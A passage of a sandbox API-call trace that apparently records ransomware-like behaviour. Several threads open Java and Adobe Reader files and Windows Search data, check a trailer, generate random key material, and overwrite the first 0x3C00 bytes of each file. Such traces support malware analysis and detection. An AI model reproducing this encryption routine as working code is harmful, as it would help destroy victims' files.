(x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0239.536] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar", dwFileAttributes=0x20) returned 1 [0239.692] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c68 [0239.754] GetFileSizeEx (in: hFile=0x2c68, lpFileSize=0x2969f8e0 | out: lpFileSize=0x2969f8e0*=237526) returned 1 [0239.754] SetFilePointerEx (in: hFile=0x2c68, liDistanceToMove=0x39fd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.755] ReadFile (in: hFile=0x2c68, lpBuffer=0x2969f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2969f8a8, lpOverlapped=0x0 | out: lpBuffer=0x2969f860*, lpNumberOfBytesRead=0x2969f8a8*=0x4, lpOverlapped=0x0) returned 1 [0239.778] SetFilePointerEx (in: hFile=0x2c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6440 [0239.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6f50 [0239.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6350 [0239.779] NtQuerySystemTime (in: CurrentTime=0x2969f7a0 | out: CurrentTime=0x2969f7a0*=132462178435858000) returned 0x0 [0239.779] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x68c1cec [0239.779] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x50fd6cd1 [0239.779] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x4f18eaa5 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x652000ba [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x72e43549 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x6a93ef7d [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x2ad1ed44 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x31df8867 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x63faa8b3 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x72f7c803 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x376feade [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x48c73635 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x9c29b51 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x64479151 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x4240b867 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x62b07691 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x4e2e5906 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x5efb6514 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x2ee4c7dd [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x352bfa65 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x4e31e636 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0xbdbd4d [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x3d09930f [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x2d96c1c9 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x43eb8f44 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x111f37c5 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x99fb134 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x26528fa4 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x13f6f970 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x396fecf2 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x31df8867 [0239.780] RtlRandomEx (in: Seed=0x2969f790 | out: Seed=0x2969f790) returned 0x5d2b809b [0239.791] SetFilePointerEx (in: hFile=0x2c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.791] ReadFile (in: hFile=0x2c68, lpBuffer=0x4241f1d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2969f800, lpOverlapped=0x0 | out: lpBuffer=0x4241f1d0*, lpNumberOfBytesRead=0x2969f800*=0x3c00, lpOverlapped=0x0) returned 1 [0239.817] SetFilePointerEx (in: hFile=0x2c68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce63090 [0239.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0239.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6350 [0239.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6350) returned 1 [0239.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202c4d00 [0239.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6350 [0239.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0239.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6170) returned 1 [0239.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0239.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63090) returned 1 [0239.823] WriteFile (hFile=0x2c68, lpBuffer=0x202c4d00, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2969f800, lpOverlapped=0x0) Thread: id = 3973 os_tid = 0xcc0 [0238.473] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar")) returned 0x20 [0239.536] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar", dwFileAttributes=0x20) returned 1 [0239.694] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bd0 [0239.851] GetFileSizeEx (in: hFile=0x2bd0, lpFileSize=0x3efdfc60 | out: lpFileSize=0x3efdfc60*=68762) returned 1 [0239.851] SetFilePointerEx (in: hFile=0x2bd0, liDistanceToMove=0x10c96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.852] ReadFile (in: hFile=0x2bd0, lpBuffer=0x3efdfbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3efdfc28, lpOverlapped=0x0 | out: lpBuffer=0x3efdfbe0*, lpNumberOfBytesRead=0x3efdfc28*=0x4, lpOverlapped=0x0) returned 1 [0239.898] SetFilePointerEx (in: hFile=0x2bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e80 [0239.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7040 [0239.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0239.899] NtQuerySystemTime (in: CurrentTime=0x3efdfb20 | out: CurrentTime=0x3efdfb20*=132462178437106000) returned 0x0 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0xbb69eff [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x2138b57c [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x7f68946e [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x24a45fcb [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x3a846b2d [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x1436e305 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x16c52bfb [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x37475bae [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x1b77b29f [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x383939d9 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x70d13517 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x405be076 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x77a0ef4e [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x580cd681 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x4c396f22 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x41227cf0 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x4588eb66 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x5932000c [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x785373a8 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x2e5f1a45 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x6b227cf5 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x3b7b811a [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x6463682c [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x58a4b4c6 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x1e612382 [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x798a376e [0239.899] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x5841b023 [0239.900] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x4ee96cc [0239.900] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x6eb4ecab [0239.900] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0xf61a3b6 [0239.900] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0x1ebab0a2 [0239.900] RtlRandomEx (in: Seed=0x3efdfb10 | out: Seed=0x3efdfb10) returned 0xaa58ff6 [0239.909] SetFilePointerEx (in: hFile=0x2bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.909] ReadFile (in: hFile=0x2bd0, lpBuffer=0x202bd4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3efdfb80, lpOverlapped=0x0 | out: lpBuffer=0x202bd4e0*, lpNumberOfBytesRead=0x3efdfb80*=0x3c00, lpOverlapped=0x0) returned 1 [0239.934] SetFilePointerEx (in: hFile=0x2bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce63090 [0239.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0239.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0239.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a60) returned 1 [0239.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202c10f0 [0239.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a60 [0239.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6860 [0239.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6860) returned 1 [0239.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0239.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce63090) returned 1 [0239.939] WriteFile (hFile=0x2bd0, lpBuffer=0x202c10f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3efdfb80, lpOverlapped=0x0) Thread: id = 3974 os_tid = 0xd38 [0238.474] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.log")) returned 0xffffffff [0241.644] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log", dwFileAttributes=0x20) returned 0 [0241.768] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mss.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0241.768] GetLastError () returned 0x2 [0241.768] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSS.log", dwFileAttributes=0xffffffff) returned 0 [0241.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508b30) returned 1 Thread: id = 3975 os_tid = 0x104c [0238.475] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs")) returned 0xffffffff [0241.643] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs", dwFileAttributes=0x20) returned 0 [0241.770] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00001.jrs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0241.770] GetLastError () returned 0x2 [0241.770] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00001.jrs", dwFileAttributes=0xffffffff) returned 0 [0241.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4e00) returned 1 Thread: id = 3976 os_tid = 0x1050 [0238.476] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs")) returned 0x20 [0243.617] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs", dwFileAttributes=0x20) returned 0 [0243.787] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\mssres00002.jrs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0243.834] GetLastError () returned 0x2 [0243.834] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\MSSres00002.jrs", dwFileAttributes=0x20) returned 0 [0244.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f61f0) returned 1 Thread: id = 3977 os_tid = 0x1378 [0238.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4319ca40 [0238.482] wcscpy (in: _Dest=0x4319ca40, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" [0238.483] wcscat (in: _Dest=0x4319ca40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\" [0238.483] wcscat (in: _Dest=0x4319ca40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*" [0238.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62540 [0238.484] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\*", lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86730 [0244.061] wcscmp (_String1=".", _String2=".") returned 0 [0244.061] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27eb7240, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27eb7240, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.062] wcscmp (_String1="..", _String2=".") returned 1 [0244.062] wcscmp (_String1="..", _String2="..") returned 0 [0244.062] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="SYSTEM~1")) returned 1 [0244.062] wcscmp (_String1="SystemIndex", _String2=".") returned 1 [0244.062] wcscmp (_String1="SystemIndex", _String2="..") returned 1 [0244.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431f61f0 [0244.062] wcscpy (in: _Dest=0x431f61f0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects" [0244.062] wcscat (in: _Dest=0x431f61f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\" [0244.062] wcscat (in: _Dest=0x431f61f0, _Source="SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Projects\\SystemIndex" [0244.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x431f61f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a0 [0244.121] FindNextFileW (in: hFindFile=0x1cd86730, lpFindFileData=0x1cd62540 | out: lpFindFileData=0x1cd62540*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27eb7240, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29958860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29958860, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="SYSTEM~1")) returned 0 [0244.121] FindClose (in: hFindFile=0x1cd86730 | out: hFindFile=0x1cd86730) returned 1 [0244.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd62540) returned 1 [0244.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319ca40) returned 1 [0244.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508770) returned 1 Thread: id = 3978 os_tid = 0x137c [0238.489] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\windows.edb")) returned 0x20 [0239.428] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb", dwFileAttributes=0x20) Thread: id = 3979 os_tid = 0x1a90 [0238.490] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d")) returned 0x20 [0238.490] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d", dwFileAttributes=0x20) returned 1 [0238.492] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\3difr.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\3difr.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2288 [0238.492] GetFileSizeEx (in: hFile=0x2288, lpFileSize=0x3fbaf700 | out: lpFileSize=0x3fbaf700*=269200) returned 1 [0238.492] SetFilePointerEx (in: hFile=0x2288, liDistanceToMove=0x41b8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.492] ReadFile (in: hFile=0x2288, lpBuffer=0x3fbaf680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3fbaf6c8, lpOverlapped=0x0 | out: lpBuffer=0x3fbaf680*, lpNumberOfBytesRead=0x3fbaf6c8*=0x4, lpOverlapped=0x0) returned 1 [0238.911] SetFilePointerEx (in: hFile=0x2288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202611f0 [0238.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0238.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261010 [0238.912] NtQuerySystemTime (in: CurrentTime=0x3fbaf5c0 | out: CurrentTime=0x3fbaf5c0*=132462178427122000) returned 0x0 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x63ed7b0f [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x665b8d89 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x6e735b84 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x5cd062d9 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x3f324519 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x676a5234 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x28b00224 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x4f427f55 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x5a4738e5 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x1f08448c [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x374211a2 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x6bc6a62a [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x641c31f4 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x14436222 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0xa8ef1fe [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x5502960f [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x5960f777 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x621e9e80 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x5ddcc375 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x4ec0902f [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x363b1c6d [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x1a703720 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x4eae737c [0238.912] RtlRandomEx (in: 